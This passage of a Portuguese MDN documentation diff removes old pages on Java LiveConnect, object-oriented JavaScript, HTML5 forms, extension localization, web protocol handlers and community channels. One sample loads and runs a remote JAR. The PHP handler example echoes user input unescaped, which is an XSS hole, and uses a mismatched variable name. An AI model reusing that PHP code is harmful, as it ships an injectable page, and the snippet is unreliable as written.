Se houver a necessidade de chamar código de Java dentro duma extensão do Firefox, o LiveConnect poderá ser útil. O LiveConnect dá ao código JavaScript da sua extensão (ligado ou contido no seu código XUL) acesso a dois objectos: java e Packages. Estes dois objectos tornam possível o uso das classes padrão do JDK. Por exemplo:

- -
var aJavaList = new java.util.LinkedList();
-
- -

Se quiser carregar os seus próprios JARs, então pode criar a sua classe carregadora Java. Por exemplo:

- -
var cl = new java.net.URLClassLoader(
-    [ new java.net.URL('http://foo.net/bar.jar') ]
-);
-
-var aClass = java.lang.Class.forName("org.mozilla.developer.HelloWorld", true, cl);
-var aStaticMethod = aClass.getMethod("getGreeting", []);
-var greeting = aStaticMethod.invoke(null, []);
-alert(greeting);
-
- -

Esta técnica funciona apenas em código JavaScript ligado dentro de ou contido em ficheiros XUL. Se quiser chamar código Java de dentro de código JavaScript que implementa componentes XPCOM, neste momento só o poderá fazer recorrendo a outra outra técnica (ver Java Firefox Extension). Uma boa razão para chamar Java de dentro de um componente XPCOM em vez de XUL é para manter um singleton (tipo de objecto que força a existência de apenas um objecto duma classe )através todas as janelas do Firefox. Se chamar Java pelo XUL então cada janela do Firefox possuirá a sua própria classe e, por consequência, o seu singleton.

diff --git a/files/pt-pt/orphaned/javascript_orientado_a_objetos/index.html b/files/pt-pt/orphaned/javascript_orientado_a_objetos/index.html deleted file mode 100644 index e61a2940cf..0000000000 --- a/files/pt-pt/orphaned/javascript_orientado_a_objetos/index.html +++ /dev/null @@ -1,229 +0,0 @@ ---- -title: Javascript orientado a objetos -slug: orphaned/Javascript_orientado_a_objetos -tags: - - JavaScript - - OOP - - Todas_as_Categorias -original_slug: Javascript_orientado_a_objetos ---- -

Para um melhor entendimento deste artigo, é necessário algum conhecimento sobre programação orientada a objetos, existem vários artigos na web e bons livros dedicados ao assunto. Tomemos como exemplo de objeto, um ventilador. Ao olharmos para este objeto, podemos identificá-lo dentre outros eletrodomésticos pelas suas características. Outros ventiladores podem apresentar características idênticas, porém são objetos distintos. Um ventilador pode estar desligado ou ligado em algumas velocidades. Detalhes de sua estrutura ficam ocultos internamente, pois não precisamos conhecê-los para fazer uso do mesmo.

- -

Javascript difere-se de linguagens clássicas orientadas a objeto como Java e C++ principalmente por não possuir uma definição formal de classe. Entretanto possui seu próprio tipo de herança baseada em protótipo e faz uso constante de objetos baseando-se nesse tipo de herança.

- -

Função construtora e propriedades / Classe e atributos

- -

Na programação orientada a objetos, é comum utilizar tipos de objetos (classes) personalizados. Essas classes1 são úteis em diversos casos, por exemplo, se seu programa manipula várias formas geométricas, poderiam haver várias classes de objetos como quadrados, retângulos e círculos. Utilizando nosso exemplo, vamos criar a função construtora Ventilador, contendo as propriedades2 velocidadeMaxima e ligado. Observe que a propriedade velocidadeMaxima recebe o valor do argumento velMax.

- -
function Ventilador(velMax) {
-    this.velocidadeMaxima = velMax;
-    this.ligado = false;
-}
-
- -

A palavra-chave this é responsável por iniciar o objeto adequadamente.

- -

Instâncias

- -

A criação de um objeto, ou seja, a instanciação de uma classe é realizada com uso do operador new. Após este operador vem o nome da função construtora, responsável pela inicialização do objeto.

- -

Alguns exemplos de instanciação:

- -
var obj = new Object();
-var data = new Date();
-
- -

Seguindo mais uma vez o exemplo do ventilador:

- -
var ventilador1 = new Ventilador(3);
-
- -

Acessando propriedades

- -

Para acessar as propriedades de um objeto você deve utilizar o operador “.” que deve ser precedido de uma referência ao objeto e sucedido pelo nome de uma de suas propriedades.

- -
console.log(ventilador1.velocidadeMaxima); // Retorna 3
-
- -

Diferente das linguagens clássicas orientadas a objeto, Javascript permite que propriedades sejam adicionadas a qualquer momento durante a execução do código. Por exemplo, vamos adicionar a propriedade cor a nosso ventilador:

- -
ventilador1.cor = "branco";
-console.log(ventilador1.cor); // Retorna branco
-
- -

Métodos

- -

Métodos em Javascript são funções invocadas por objetos. Para criar um novo método, basta atribuir uma função a um nome no objeto utilizando também o operador “.” como ocorre com as propriedades. O exemplo abaixo demonstra como definir o método ligar para a classe Ventilador utilizando a função liga através da propriedade prototype.

- -
function liga() {
-    this.ligado = true;
-}
-Ventilador.prototype.ligar = liga;
-
- -

Caso queira adicionar um método a um objeto em particular, pode fazê-lo da seguinte maneira:

- -
ventilador2 = new Ventilador(2);
-ventilador2.ligar = liga;
-
- -

Outro uso possível é definir o método na estrutura da classe:

- -
function liga() {
-    this.ligado = true;
-}
-function Ventilador(velMax) {
-    this.velocidadeMaxima = velMax;
-    this.ligado = false;
-    this.ligar = liga;
-}
-
- -

A palavra chave this é substituída pelo objeto que invoca a função, essa é uma das principais vantagens da utilização de métodos. Exemplo de uso:

- -
var ventilador = new Ventilador(3);
-console.log(ventilador.ligado); // Retorna false
-ventilador.ligar();
-console.log(ventilador.ligado); // Retorna true
-
- -

Literais de objeto

- -

Os literais de objeto3 possibilitam criar e iniciar objetos de uma maneira diferente. A sintaxe é definida por uma lista de pares nome/valor separados por vírgulas entre um par de chaves. Cada par nome/valor é definido pelo nome da propriedade seguido de dois pontos e do valor correspondente.

- -
var Livro = {
-    titulo : "Os Três Mosqueteiros",
-    autor : "Alexandre Dumas",
-    capitulo1 : {
-        titulo : "Os três presentes do sr. D'Artagnan pai",
-        paginas : 11
-    },
-    capitulo2 : {
-        titulo : "A antecâmara do sr. Tréville",
-        paginas : 8
-    }
-}
-
-// Acessando as propriedades:
-console.log(Livro.titulo + " - " + Livro.autor + "\\n\\t" +
-      Livro.capitulo1.titulo + " - " +
-      Livro.capitulo1.paginas + " páginas\\n\\t" +
-      Livro.capitulo2.titulo + " - " +
-      Livro.capitulo2.paginas + " páginas");
-
- -

Composição

- -

A composição é um recurso utilizado para definir uma relação do tipo “tem um” (“has a” relationship), ou seja, um objeto que conta com outros objetos para formar sua estrutura. Por exemplo, um objeto do tipo Carro teria em sua estrutura objetos do tipo Roda, Volante, Banco. O exemplo anterior que descreve um livro, também demonstra o uso deste recurso.

- -
function Livro(titulo, autor) {
-    this.titulo = titulo;
-    this.autor = autor;
-}
-
-function Capitulo(titulo, paginas) {
-    this.titulo = titulo;
-    this.paginas = paginas;
-}
-
-var livro = new Livro("Os Três Mosqueteiros", "Alexandre Dumas");
-var capitulo1 = new Capitulo("Os três presentes do sr. D'Artagnan pai", 11);
-var capitulo2 = new Capitulo("A antecâmara do sr. Tréville", 8);
-
-// Os objetos do tipo Capitulo fazem parte da composição do objeto livro
-livro.capitulo1 = capitulo1;
-livro.capitulo2 = capitulo2;
-
-// Acessando as propriedades:
-console.log(livro.titulo + " - " + livro.autor + "\\n\\t" +
-      livro.capitulo1.titulo + " - " +
-      livro.capitulo1.paginas + " páginas\\n\\t" +
-      livro.capitulo2.titulo + " - " +
-      livro.capitulo2.paginas + " páginas");
-
- -

Encapsulamento

- -

Como exposto no início do artigo, em nosso exemplo que representa um ventilador, detalhes da estrutura de alguns objetos ficam ocultos internamente, pois não precisamos conhecê-los para fazer uso dos mesmos. O encapsulamento tem por objetivo esconder essa informação que não precisa ser de conhecimento do utilizador da classe. Seu uso é uma boa prática quanto à manutenção da classe, pois podemos modificar a parte que é oculta ao utilizador sem alterar sua forma de implementação. Em Javascript podemos usar encapsulamento em propriedades de uma classe utilizando a palavra-chave var ao invés da palavra-chave this e do operador “.”.

- -
function Ventilador(velMax) {
-    var maximaPermitida = 5; // Uso de encapsulamento
-    var velocidadePadrao = 3; // Variáveis privadas
-    // Avalia se a velocidade máxima fornecida é maior que zero e menor que 5, o limite atual.
-    if (velMax > 0 && velMax <= maximaPermitida) {
-        // Caso seja, atribui o valor fornecido à propriedade velocidadeMaxima
-        this.velocidadeMaxima = velMax;
-    } else {
-        // Caso contrário, atribui o valor da variável velocidadePadrao à propriedade velocidadeMaxima
-        this.velocidadeMaxima = velocidadePadrao;
-    }
-    this.ligado = false;
-    this.ligar = function() { // O método ligar agora é definido
-        this.ligado = true; // por um literal de função, o que
-    } // melhora a legibilidade do código.
-}
-ventilador = new Ventilador(0); // Cria a instância fornecendo o valor 0 para o argumento velMax;
-console.log(ventilador.velocidadeMaxima); // Retorna 3 – o padrão
-console.log(ventilador.maximaPermitida); // Retorna undefined
-
- -

Herança

- -

Em Javascript a herança ocorre por meio de objetos protótipos4 e define uma relação do tipo “é um” (“is a” relationship). Cada objeto herda propriedades e métodos de seu objeto protótipo que é referenciado pela propriedade prototype. A classe Object é a superclasse de todas as classes definidas em Javascript, ou seja, todos os construtores criados herdam propriedades e métodos definidos no construtor Object() como por exemplo o método toString(), que assim como outros pode ser sobrescrito na subclasse. Em alguns casos, é conveniente utilizar este recurso em classes personalizadas, para isso basta definir um construtor como valor para a propriedade prototype da classe em questão. Como exemplo simplório, vamos definir a classe Eletrodomestico com a propriedade ligado e os métodos ligar e desligar comuns a todos os eletrodomésticos e então definir a classe Ventilador com propriedades e métodos peculiares.

- -
function Eletrodomestico() {
-    this.ligado = false;
-    this.ligar = function() {
-        this.ligado = true;
-    }
-    this.desligar = function() {
-        this.ligado = false;
-    }
-}
-
-function Ventilador(velMax) {
-    var maximaPermitida = 5; // Uso de encapsulamento
-    var velocidadePadrao = 3; // Variáveis privadas
-    if (velMax > 0 && velMax <= maximaPermitida) {
-        this.velocidadeMaxima = velMax;
-    } else {
-        this.velocidadeMaxima = velocidadePadrao;
-    }
-}
-
-Ventilador.prototype = new Eletrodomestico(); // Define o objeto protótipo
-ventilador = new Ventilador(4);
-console.log(ventilador.ligado); // Retorna false
-ventilador.ligar();
-console.log(ventilador.ligado); // Retorna true
-
- -

A utilização do objeto protótipo faz com que a propriedade constructor também seja herdada da superclasse, o que definiria a classe Eletrodomestico como valor da propriedade no objeto ventilador. Uma alternativa é definir de forma explícita a propriedade constructor:

- -
Ventilador.prototype.constructor = Ventilador;
-
- -

Conclusão

- -

Este artigo é apenas um incentivo à adoção dos conceitos da orientação a objetos em Javascript. Com o entendimento dos conceitos, os desenvolvedores podem corroborar as vantagens em códigos mais complexos, organizando o desenvolvimento e facilitando a manutenção dos scripts.

- -

Notas

- -

1. Termo usado informalmente no artigo.
- 2. Nas linguagens clássicas orientadas a objeto, geralmente usa-se o termo atributo ou campo.
- 3. Conhecidos também como inicializadores de objetos ou objetos literais, implementados a partir de Javascript 1.2.
- 4. Implementados a partir de Javascript 1.1.

- -
-

Informações Sobre o Documento Original

- - -
- -

Categorias

- -

Interwiki Language Links

diff --git a/files/pt-pt/orphaned/learn/html/forms/html5_updates/index.html b/files/pt-pt/orphaned/learn/html/forms/html5_updates/index.html deleted file mode 100644 index 99e355fe11..0000000000 --- a/files/pt-pt/orphaned/learn/html/forms/html5_updates/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Forms no HTML5 -slug: orphaned/Learn/HTML/Forms/HTML5_updates -translation_of: Learn/HTML/Forms/HTML5_updates -original_slug: Web/HTML/HTML5/Forms_no_HTML5 ---- -

{{ gecko_minversion_header("2") }}

-

Elementos e atributos de formulários no HTML5 fornecem um grau maior de marcação semântica do que o HTML4  e removem em grande parte a necessidade tediosa de estilos e scripts requerida no HTML4. Os recursos de formulários no HTML5 fornecem uma melhor experiência para os usuários, tornando os formulários mais consistentes através de diferentes web sites e dando retorno imediato ao usuário sobre a entrada de dados. Eles também fornecem esta experiência aos usuários que deixam os scripts desativados no navegador.

-

Este tópico descreve itens novos ou alterados que são suportados pelo Gecko/Firefox.

-

O elemento <input>

-

O elemento {{ HTMLElement("input") }} tem novos valores para o atributo {{ htmlattrxref("type", "input") }}.

-
    -
  • search: O elemento representa um campo de entrada de busca. Quebras de linhas são automaticamente removidas do valor de entrada, mas nenhuma outra sintaxe é aplicada.
  • -
  • tel: O elemento representa um controle para a edição de um número de telefone. Quebras de linhas são automaticamente removidas do valor de entrada, mas nenhuma outra sintaxe é aplicada, pois números de telefone podem variar bastante internacionalmente. Você pode usar atributos como {{ htmlattrxref("pattern", "input") }} e {{ htmlattrxref("maxlength", "input") }} para restringir valores digitados no controle.
  • -
  • url: O elemento representa um controle para a edição de URL. Quebras de linha e espaços, à direita e à esquerda, são automaticamente removidos do valor de entrada.
  • -
  • -

    email: O elemento representa um endereço de e-mail. Quebras de linhas são automaticamente removidas do valor de entrada. Um endereço de e-mail inválido pode ser configurado, mas o campo de entrada somente será satisfeito se contiver um endereço de e-mail que satisfaça a produção ABNF 1*( atext / "." ) "@" ldh-str 1*( "." ldh-str ) na qual atext está definido na RFC 5322 section 3.2.3, e ldh-str está definido na RFC 1034 section 3.5.

    -
    - Nota: se o atributo {{ htmlattrxref("multiple", "input") }} é configurado, podem ser digitados múltiplos endereços de e-mail neste campo {{ HTMLElement("input") }}, como uma lista separada por espaços, mas atualmente isto não está implementado no Firefox.
    -
  • -
-

O elemento {{ HTMLElement("input") }} também tem novos atributos:

-
    -
  • {{ htmlattrxref("list", "input") }}: O ID de um elemento {{ HTMLElement("datalist") }} cujos conteúdos, elementos {{ HTMLElement("option") }}, podem ser usados como dicas e são exibidos como propostas na área de sugestões do campo de entrada.
  • -
  • {{ htmlattrxref("pattern", "input") }}: Uma expressão regular contra a qual o valor do elemento é checado, a qual deve ser usada com os valores text, tel, search, url, e email de {{ htmlattrxref("type", "input") }}.
  • -
  • {{ htmlattrxref("formmethod", "input") }}: Uma string indicando qual método HTTP (GET ou POST) deve ser usado na submissão; isto substitui o {{ htmlattrxref("method", "form") }} do elemento {{ HTMLElement("form") }}, se definido. O {{ htmlattrxref("formmethod", "input") }} se aplica somente quando {{ htmlattrxref("type", "input") }} é image ou submit.
  • -
  • {{ htmlattrxref("x-moz-errormessage", "input") }}: Uma string que é exibida como uma mensagem de erro quando a validação do campo falha. Esta é uma extenção da Mozilla, e não é um padrão.
  • -
-

O elemento <form>

-

O elemento {{ HTMLElement("form") }} tem um novo atributo:

-
    -
  • {{ htmlattrxref("novalidate", "form") }}: Este atributo previne o formulário de ser validado antes de sua submissão.
  • -
-

O elemento <datalist>

-

O elemento {{ HTMLElement("datalist") }} representa a lista de elementos {{ HTMLElement("option") }} para sugerir quando preencher um campo {{ HTMLElement("input") }}.

-

Você pode usar o atributo {{ htmlattrxref("list", "input") }} em um elemento {{ HTMLElement("input") }} para ligar um campo de entrada com um elemento {{ HTMLElement("datalist") }} específico.

-

O elemento <output>

-

O elemento {{ HTMLElement("output") }} representa o resultado de um cálculo.

-

Você pode usar o atributo {{ htmlattrxref("for", "output") }} para especificar uma relação entre o elemento de saída e outros elementos no documento, afetados pelo resultado (por exemplo, como entradas ou parâmetros). O valor do atributo {{ htmlattrxref("for", "output") }} é uma lista de ID de outros elementos separada por espaços.

-

O atributo de espaço reservado

-

O atributo {{ htmlattrxref("placeholder", "input") }} nos elementos {{ HTMLElement("input") }} e {{ HTMLElement("textarea") }} fornece uma dica ao usuário do que deve ser digitado no campo. O espaço reservado de texto não deve conter novas linhas ou alimentação de linhas.

-

O atributo de autofoco

-

O atributo autofocus permite especificar que um controle de formulário deve ter foco nas entradas quando a página carrega, a menos que o usuário sobreponha-se a isto, por exemplo digitando em um controle diferente. Somente um item do formulário pode ter o atributo autofocus, que é um Booleano. Este atributo pode ser aplicado aos elementos {{ HTMLElement("input") }}, {{ HTMLElement("button") }}, {{ HTMLElement("select") }}, e {{ HTMLElement("textarea") }}. A exceção é que o autofocus não pode ser aplicado em um elemento <input> se o atributo {{ htmlattrxref("type", "input") }} é configurado como hidden (isto é, você não pode configurar automaticamente o foco em um controle escondido).

-

A propriedade label.control do DOM

-

A interface DOM HTMLLabelElement fornece uma propriedade extra, adicionalmente às propriedades que correspondem aos atributos do elemento {{ HTMLElement("label") }} do HTML. A propriedade control retorna um controle rotulado, isto é, o controle para este rótulo, o qual é determinado pelo atributo {{ htmlattrxref("for", "label") }} (se estiver definido) ou pelo primeiro elemento de controle descendente.

-

Validação de restrições

-

O HTML5 fornece itens de API e sintaxe para suportar a validação de formulários do lado do cliente. Enquanto esta funcionalidade não substitui a validação do lado do servidor, a qual ainda é necessária para a segurança e integridade dos dados, a validação do lado do cliente pode suportar uma melhor experiência ao usuário, dando ao usuário um retorno imediato sobre os dados digitados.

-

Sintaxe HTML para validação de restrições

-

Os seguintes itens da sintaxe do HTML5 podem ser usados para especificar restrições em dados de formulários.

-
    -
  • O atributo {{ htmlattrxref("required", "input") }} no elementos {{ HTMLElement("input") }}, {{ HTMLElement("select") }} e {{ HTMLElement("textarea") }} indica que um valor deve ser fornecido. (No elemento {{ HTMLElement("input") }}, {{ htmlattrxref("required", "input") }} aplica-se somente em conjunto com certos valores do atributo {{ htmlattrxref("type", "input") }}.)
  • -
  • O atributo {{ htmlattrxref("pattern", "input") }} no elemento {{ HTMLElement("input") }} obriga o valor a combinar com uma expressão regular específica.
  • -
  • Os atributos {{ htmlattrxref("min", "input") }} e {{ htmlattrxref("max", "input") }} do elemento {{ HTMLElement("input") }} limitam os valores mínimo e máximo que podem ser digitados.
  • -
  • O atributo {{ htmlattrxref("step", "input") }} do elemento {{ HTMLElement("input") }} (quando usado combinadamente com os atributos {{ htmlattrxref("min", "input") }} e {{ htmlattrxref("max", "input") }}) define a granularidade de valores que podem ser entrados. Um valor que não corresponda a um valor permitido não será validado.
  • -
  • O atributo {{ htmlattrxref("maxlength", "input") }} dos elementos {{ HTMLElement("input") }} e {{ HTMLElement("textarea") }} limita o número máximo de caracteres (em pontos de código Unicode) que o usuário pode entrar.
  • -
  • Os valores url e email para {{ htmlattrxref("type", "input") }} obrigam o valor a ser uma URL ou um endereço de e-mail válido, respectivamente.
  • -
-

Adicionalmente, pode-se evitar a validação obrigatória especificando-se o atributo {{ htmlattrxref("novalidate", "form") }} no elemento {{ HTMLElement("form") }}, ou o atributo {{ htmlattrxref("formnovalidate", "button") }} no elemento {{ HTMLElement("button") }} e no elemento {{ HTMLElement("input") }} (quando {{ htmlattrxref("type", "input") }} é submit ou image). Estes atributos indicam que o formulário não será validado quando submetido.

-

API de validação de restrições

-

As seguintes propriedades e métodos do DOM relacionados à validação de restrições estão disponíveis nos scripts do lado do cliente:

-
    -
  • Em objetos HTMLFormElement, o método checkValidity() retorna verdadeiro se todos os elementos do formulário com elementos associados com validação obrigatória são satisfeitos, e falso, caso contrário.
  • -
  • Em elementos associados a formulários (en): -
      -
    • A propriedade willValidate, a qual é falsa se o elemento possuir obrigatoriedades não satisfeitas.
    • -
    • A propriedade validity, a qual é um objeto de ValidityState, que representa o estado de validação em que o elemento se encontra (isto é, falha ou sucesso nas condições obrigatórias).
    • -
    • A propriedade validationMessage, a qual é uma mensagem descrevendo qualquer valha de obrigatoriedade pertinente ao elemento.
    • -
    • O método checkValidity(), o qual retorna falso se o elemento falha em satisfazer qualquer das suas obrigatoriedades, ou verdadeiro, caso contrário.
    • -
    • O método setCustomValidity(), o qual define uma mensagem customizada de validação, permitindo às obrigações serem impostas e validadas além das já pré-definidas.
    • -
    -
  • -
-

{{ HTML5ArticleTOC() }}

diff --git "a/files/pt-pt/orphaned/localizar_descri\303\247\303\265es_de_extens\303\265es/index.html" "b/files/pt-pt/orphaned/localizar_descri\303\247\303\265es_de_extens\303\265es/index.html" deleted file mode 100644 index db0c5dce4c..0000000000 --- "a/files/pt-pt/orphaned/localizar_descri\303\247\303\265es_de_extens\303\265es/index.html" +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Localizar descrições de extensões -slug: orphaned/Localizar_descrições_de_extensões -tags: - - Extensões - - Localização -original_slug: Localizar_descrições_de_extensões ---- -

 

- -

Por causa do bug 257155, desenvolvedores de extensões devem através de um processo especial, definir descrições localizadas na extensão para alvos de extensão baseados em um kit de ferramentas (Como o Firefox ou o Thunderbird).

- -
    -
  • Se você atualmente não os têm, crie arquivos de propriedades localizadas (localized properties files). Tenha certeza de usar a codificação UTF-8 para assegurar que caracteres estrangeiros sejam exibidos corretamente.
  • -
  • Adicione a seguinte linha a cada um dos seus arquivos de propriedade de localização (onde EXTENSION_ID faz o ID da sua extensão (<em:id> de install.rdf) e LOCALIZED_DESCRIPTION é a descrição da sua extensão que você quer que apareçam nas línguas dadas):
  • -
- -
extensions.EXTENSION_ID.description=LOCALIZED_DESCRIPTION
- -
    -
  • Se você atualmente não tiver um, crie um arquivo de preferências padrão (a default preferences file).
  • -
  • Adicione a seguinte linha a ele (onde EXTENSION_ID faz o ID do seu aplicativo de install.rdf e PATH_TO_LOCALIZATION_FILE é o remendo chrome para o arquivo de localização que você adicionou mais cedo):
  • -
- -
pref("extensions.EXTENSION_ID.description", "PATH_TO_LOCALIZATION_FILE");
diff --git a/files/pt-pt/orphaned/manipuladores_de_protocolo_web/index.html b/files/pt-pt/orphaned/manipuladores_de_protocolo_web/index.html deleted file mode 100644 index 9651d9ac89..0000000000 --- a/files/pt-pt/orphaned/manipuladores_de_protocolo_web/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Manipuladores de protocolo web -slug: orphaned/Manipuladores_de_protocolo_web -tags: - - Firefox 3 -original_slug: Manipuladores_de_protocolo_web ---- -

-

Visão geral

-

É comum encontrar páginas com links para recursos utilizando protocolos não-http. Um exemplo é o protocolo mailto:: -

-
<a href="mailto:webmaster@exemplo.com">Web Master</a>
-
-

Autores podem usar um link mailto: quando desejam fornecer uma maneira conveniente de enviar mensagens diretamente da página. Quando o link é ativado, o navegador deve lançar a aplicação padrão do sistema para manipular emails. Você pode pensar nisso como um manipulador de protocolos baseado no desktop. -

Manipuladores de protocolos baseados na web permitem que aplicações web também participem desse processo. Isso tem-se tornado mais importante à medida em que mais e mais tipos de aplicações tem migrado para a web. Na verdade, existem várias aplicações que manipulam mensagens baseadas na web que poderiam processar os links mailto. -

-

Registrando

-

Registrar uma aplicação web como manipulador de protocolos não é um processo difícil. Basicamente, a aplicação web deve utilizar o o método registerProtocolHandler() para registrar-se como manipulador em potencial para um determinado protocolo. Por exemplo: -

-
navigator.registerProtocolHandler("mailto",
-                                  "https://www.exemplo.com/?uri=%s",
-                                  "Correio de Exemplo");
-
-

Onde os parâmetros são: -

-
  • O protocolo; -
  • A URL do documento utilizado como manipulador; o "%s" será substituido pelo valor do atributo href do link e um GET será executado na URL resultante; -
  • O nome amigável do manipulador. -
-

Quando um navegador executa esse código, ele deve pedir permissão ao usuário para registrar a aplicação como manipulador do protocolo. O Firefox exibe um prompt na barra de notificação: -

Image:mpw-notificacao.png -

{{ Note() }} -

-

Exemplo

-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
-<html>
-<head>
-  <title>Exemplo de manipulador de protocolo - Registro</title>
-  <script type="text/javascript">
-    navigator.registerProtocolHandler("falso",
-                                      "http://loremipsum.org/projetos/mpw.php?valor=%s",
-                                      "Falso Mail");
-  </script>
-</head>
-<body>
-  <h1>Exemplo de manipulador de protocolo</h1>
-  <p>Esta página instalará um manipulador de protocolos para o protocolo <code>falso:</code>.</p>
-</body>
-</html>
-
-

Ativando

-

Agora, sempre que o usuário ativar um link que utiliza o protocolo registrado, o navegador direcionará a ação para a URL fornecida pela aplicação registrada. O Firefox irá, por padrão, perguntar ao usuário antes de executar a ação. -

Image:mpw-executar.png -

-

Exemplo

-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
-<html>
-<head>
-  <title>Exemplo de manipulador de protocolo - Teste</title>
-</head>
-<body>
-  <p>Ei, você já viu <a href="falso:URL%20de%20exemplo">isso</a> antes?</p>
-</body>
-</html>
-
-

Manipulando

-

A próxima fase é manipular a ação. O navegador extrai o valor do atributo href do link ativado, combina esse valor com a URL fornecida pelo manipulador durante o registro e executa um HTTP GET na URL. Assim, usando os exemplos acima, o navegador executaria um GET na seguinte URL: -

-
http://loremipsum.org/projetos/mpw.php?valor=falso:URL%20de%20exemplo
-
-

Programas no servidor podem extrair os parâmetros e executar a ação desejada. -

{{ Note("o valor inteiro do atributo href é passado ao programa do servidor. Isso significa que o programa no servidor deverá separar o protocolo dos dados.") }} -

-

Exemplo

-
<?php
-$value = "";
-if ( isset ( $_GET["valor"] ) ) {
-  $value = $_GET["valor"];
-}
-?>
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
-<html>
-<head>
-    <title>Exemplo de manipulador de protocolo</title>
-</head>
-<body>
-  <h1>Exemplo de manipulador de protocolo - Manipulador</h1>
-  <p>Esta página é chamada ao manipular uma ação do protocolo <code>falso:</code>. Dados enviados:</p>
-  <textarea>
-<?php echo(urldecode($valor)) ?>
-  </textarea>
-</body>
-</html>
-
-

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/Web-based_protocol_handlers", "fr": "fr/Gestionnaires_de_protocoles_web", "ja": "ja/Web-based_protocol_handlers", "pl": "pl/Funkcje_obs\u0142ugi_protoko\u0142\u00f3w_przez_aplikacje_internetowe" } ) }} diff --git a/files/pt-pt/orphaned/mdn/community/conversations/index.html b/files/pt-pt/orphaned/mdn/community/conversations/index.html deleted file mode 100644 index b533aaf3a7..0000000000 --- a/files/pt-pt/orphaned/mdn/community/conversations/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Conversações da comunidade MDN -slug: orphaned/MDN/Community/Conversations -tags: - - Comunidade - - Guia(2) - - MDN Meta -translation_of: MDN/Community/Conversations -original_slug: MDN/Comunidade/Conversações ---- -
{{MDNSidebar}}

O "trabalho" da MDN ocorre no site da MDN, mas a "comunidade" também produz através da discussão (assíncrona), conversação on-line (síncrona) e encontros.

- -

Discussões assíncronas

- -

Para partilhar a informação e ter discussões em curso, a MDN tem a sua própria categoria ("MDN") , no fórum da Mozilla Discourse. Utilize esta categoria para todos os tópicos relacionados com a MDN, incluindo a criação de conteúdo da documentação, tradução, e manutenção; desenvolvimento da plataforma MDN; planeamento, definição de metas, e acompanhamento do progresso.

- -
    -
  • Para aderir a Mozilla Discourse, consulte Registar e iniciar sessão (EN); se tiver uma conta Mozilla LDAP, pode-a utilizar em vez de "Iniciar a sessão com e-mail".
  • -
  • Para subscrever a categoria da MDN, consulte Subscrição de categorias e tópicos (EN).
  • -
  • (Opcional) Se preferir interagir com Discourse principalmente por e-mail, consulte Configurar uma lista de endereços para si mesmo. Pode iniciar uma discussão em Discourse, enviando uma mensagem por e-mail para: mdn@mozilla-community.org. Se utilizar Discourse via e-mail, pode responder a uma mensagem, respondendo à mensagem de notificação que recebe. Se deseja interpolar comentários em linha dentro de uma resposta, por favor, coloque dois retornos antes e depois das suas partes em linha, e assim Discourse analisa-as corretamente.
  • -
- -

Arquivos históricos

- -

Antes de junho de 2017, as discussões relacionadas com a MDN ocorriam nas listas de endereços que eram acedidas e arquivadas com os grupos Google. Se desejar pesquisar essas discussões anteriores, pode consultar os grupos Google correspondentes às listas de endereços antigas. (Sim, nós sabemos que esses nomes são sobrepostos e confusos. Acidente histórico. Desculpe por isso.)

- -
-
mozilla.dev.mdc a.k.a. dev-mdc
-
Esta lista era para discussões sobre conteúdo de documentação na MDN.
-
mozilla.dev.mdn a.k.a. dev-mdn
-
Esta lista era sobre o trabalho de desenvolvimento na plataforma subjacente Kuma da MDN.
-
mozilla.mdn a.k.a. mdn@
-
Este fórum era para discussões de alto nível de planeamento e priorização, para o site da Web da MDN e outras iniciativas relacionadas.
-
- -

 

- -

Conversação no IRC

- -

Internet Relay Chat (IRC) is our preferred method for day-to-day chat and real-time discussions among community members. We use a few channels on the server irc.mozilla.org for discussions related to MDN.

- -
-
#mdn
-
This channel is our primary channel for discussing the content of MDN. We talk about writing, organization of content, and so on. We also have "water cooler" conversations here—it's a way our community can keep in touch and just hang out. This is also the place to talk about other aspects of MDN (other than development of the platform), such as Demo Studio, profiles, and so on.
-
#mdndev
-
This channel is where our development team—the people that write the code that makes MDN work—hangs out and discusses their day-to-day work. You're welcome to join in and either participate in the development or simply ask questions about issues you see with the software.
-
- -

Estes canais são mais prováveis ​​de estarem ativos durante a semana na América do Norte.

- -

You may want to learn more about IRC (EN) and use an installable IRC client such as ChatZilla (PT). It is implemented as a Firefox add-on, which makes it quick and easy to install and use. If you're not familiar with IRC, an easy way to join is using a web-based IRC client such as Scrollback, which is pre-configured with the mdn and mdndev channels.

- -

Junte-se aos nossos encontros (e outros eventos)

- -

A equipa da MDN realiza vários encontros regulares abertos para a comunidade MDN. Consulte a página de Encontros da MDN na wiki da Mozilla para obter detalhes dos agendamentos, agendas e notas, e informação sobre como participar.

- -

Consulte o calendário de Eventos da MDN (EN) para estes e outros encontros, local de encontros, e outros eventos.

- -

Se vir um encontro que ocorre no canal "mdn", no nosso sistema de videoconferência Vidyo, pode juntar-se à conversação na Web.

diff --git a/files/pt-pt/orphaned/mdn/community/doc_sprints/index.html b/files/pt-pt/orphaned/mdn/community/doc_sprints/index.html deleted file mode 100644 index 0fba79f7bb..0000000000 --- a/files/pt-pt/orphaned/mdn/community/doc_sprints/index.html +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Doc sprints -slug: orphaned/MDN/Community/Doc_sprints -tags: - - Comunidade - - Guía - - Metadados MDN -translation_of: MDN/Community/Doc_sprints -original_slug: MDN/Comunidade/Doc_sprints ---- -
{{MDNSidebar}}
- -

{{ draft() }}

- -
-

Nota: a comunidade da MDN realizou frequentemente sprints de documentação durante o período de 2010 a 2013. A partir de 2014, estes eventos foram ampliados para os eventos "Hack na MDN" que incluem hacking de código, bem como projetos de documentação. A maioria dos conselhos abaixo aplicam-se igualmente aos sprints de "Hack" e sprints de documentação.

-
- -

Este é um guia para organizar um sprint de documentação. Este contém conselhos e dicas de pessoas que organizaram os sprints de documentos, para ajudá-lo a organizar um também. Este guia também se baseia nas idéias do livroFLOSS Manuals Book Sprints.

- -

O que é um sprint de documento?

- -

A doc sprint is a short period when a group of people come together, virtually or actually, to collaborate on writing documentation on a given topic or related topics.

- -

Tipos de sprints

- -

